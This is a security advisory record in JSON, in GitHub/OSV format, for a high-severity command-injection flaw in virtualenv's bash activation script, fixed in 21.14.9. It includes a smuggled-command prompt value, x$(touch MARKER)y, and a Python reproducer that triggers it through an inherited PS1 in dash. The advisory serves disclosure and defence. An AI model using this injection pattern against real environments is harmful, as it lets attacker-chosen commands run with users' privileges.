{"id":"GHSA-6w3r-xr62-4xcp","summary":"virtualenv: Bash prompt values can change meaning under older compatibility modes","details":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.\n\n## Affected area\n\nBash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from\nnewer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation.\nIt does not establish exposure through unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[bash prompt assembly](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh).\n\n## Mechanism\n\n`bin/activate` copies the prompt into `PS1`. A shell expands `PS1` again when it draws a prompt, so the value must\nsurvive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules.\nThree other paths still interpret prompt data as commands: dash sourcing `activate` directly, a child dash inheriting an\nexported `PS1` from bash, and bash running at compatibility level 4.2 or lower. A value such as `x$(touch MARKER)y` then\nruns `touch` on prompt display. Creating the environment does not run the payload.\n\n## Reproduction and evidence\n\nThe scanner's child-shell reproducer creates an environment with `--prompt 'x$(touch MARKER)y'`, sources `bin/activate`\nin interactive bash, and starts interactive `sh` (dash). Its control leaves `PS1` unexported: neither shell creates\n`MARKER`. With `PS1` exported, bash displays the prompt without executing the value, but the child dash creates\n`MARKER`; the reproducer ends in `BUG`. The report gives separate console reproductions for direct dash activation and\nbash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported `PS1`.\n\nThe scanner linked this finding to [#3326](https://github.com/pypa/virtualenv/pull/3326) and its follow-up #3390. Those\nchanges cover the usual bash path but leave the three paths above. The proposed change in\n[#3418](https://github.com/pypa/virtualenv/pull/3418) keeps a variable reference in `PS1`, so prompt text is expanded as\ndata when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied\nby the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.\n\n## Introduced\n\nThe report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited `PS1` to #3390 (first\nreleased in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from\nthe report; the release confirmed by the maintainer is 21.14.8.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prompt supplier\n    participant V as virtualenv\n    participant B as Interactive bash\n    participant D as Child dash\n    A-\u003e\u003eV: --prompt x$(touch MARKER)y\n    V-\u003e\u003eB: generated bin/activate\n    B-\u003e\u003eB: assign escaped prompt to PS1\n    alt PS1 is not exported\n        B-\u003e\u003eD: start sh with its own PS1\n        D--\u003e\u003eB: marker absent\n    else PS1 is exported\n        B-\u003e\u003eD: start sh with inherited PS1\n        D-\u003e\u003eD: expand $(touch MARKER) on prompt draw\n        D--\u003e\u003eB: marker created\n    end\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-inherited-ps1\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nmarker = work / \"MARKER\"\nprint(\"sh is\", Path(\"/bin/sh\").resolve())\n\n# attacker: only the text a tool such as tox or hatch relays as --prompt\nhostile_prompt = f\"x$(touch {marker})y\"\n\n# set up: the environment, made with the virtualenv command\nsubprocess.run(\n    [\"virtualenv\", \"--no-periodic-update\", \"--without-pip\", \"--activators\", \"bash\",\n     \"--prompt\", hostile_prompt, str(work / \"env\")],\n    check=True, stdout=subprocess.DEVNULL,\n)\nassert not marker.exists(), \"creating the environment must not run the prompt\"\n\n# user: in an interactive bash, source bin/activate, then start sh.\n# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns\nsession = Path(\"/tmp/repro.d/user_session.sh\").read_text()\ninteractive_bash = [\"bash\", \"--norc\", \"--noprofile\", \"-i\"]\n\n# control: PS1 set in bash but not exported, so sh does not inherit it\ncontrol = subprocess.run(interactive_bash, input=\"PS1='\\\\$ '\\n\" + session,\n                         stderr=subprocess.PIPE, text=True, check=True)\nprint(control.stderr)\nran_in_control = marker.exists()\nprint(\"CONTROL  PS1 not exported: marker created:\", ran_in_control)\n\n# attack: the same session with the one difference that PS1 is exported\nattack = subprocess.run(interactive_bash, input=\"export PS1='\\\\$ '\\n\" + session,\n                        stderr=subprocess.PIPE, text=True, check=True)\nprint(attack.stderr)\nran_in_attack = marker.exists()\nprint(\"OBSERVED PS1 exported:     marker created:\", ran_in_attack)\n\n# check: the prompt text must be drawn, never run, by every shell that draws it\nprint(\"BUG\" if ran_in_attack and not ran_in_control else \"OK\")\n```\n\n**`repro.d/user_session.sh`**\n\n```text\n. /tmp/repro-inherited-ps1/env/bin/activate\nsh -i \u003c/dev/null\n```\n\n## Impact\n\nAn affected activation can execute commands with the user's privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The\nattack requires control of argument data and subsequent user activation; it does not require replacing an executable or\ncontrolling app-data contents.\n\n## Versions tested\n\nThe supplied follow-up review marks command execution as independently confirmed by its author. The implementation\nreview used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation\nsource is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation\nof the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse trusted prompt and destination values. On older releases, disable the environment prompt with\nVIRTUAL_ENV_DISABLE_PROMPT=1. Recreate environments with virtualenv 21.14.9 or later.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nThe original report was supplied by Anthropic's OSS Scanner as ANT-2026-1MOI2X3T. The subsequent maintainer-provided\nreview identified the remaining activation path.","aliases":["CVE-2026-113723"],"modified":"2026-10-23T22:30:04.122917353Z","published":"2026-10-23T22:21:57Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-23T22:21:57Z","nvd_published_at":"2026-10-20T20:17:18Z","cwe_ids":["CWE-78"]},"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-6w3r-xr62-4xcp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113723"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3418"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/5f48d711731311428aebfae61d46957762155b22"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-6w3r-xr62-4xcp/GHSA-6w3r-xr62-4xcp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}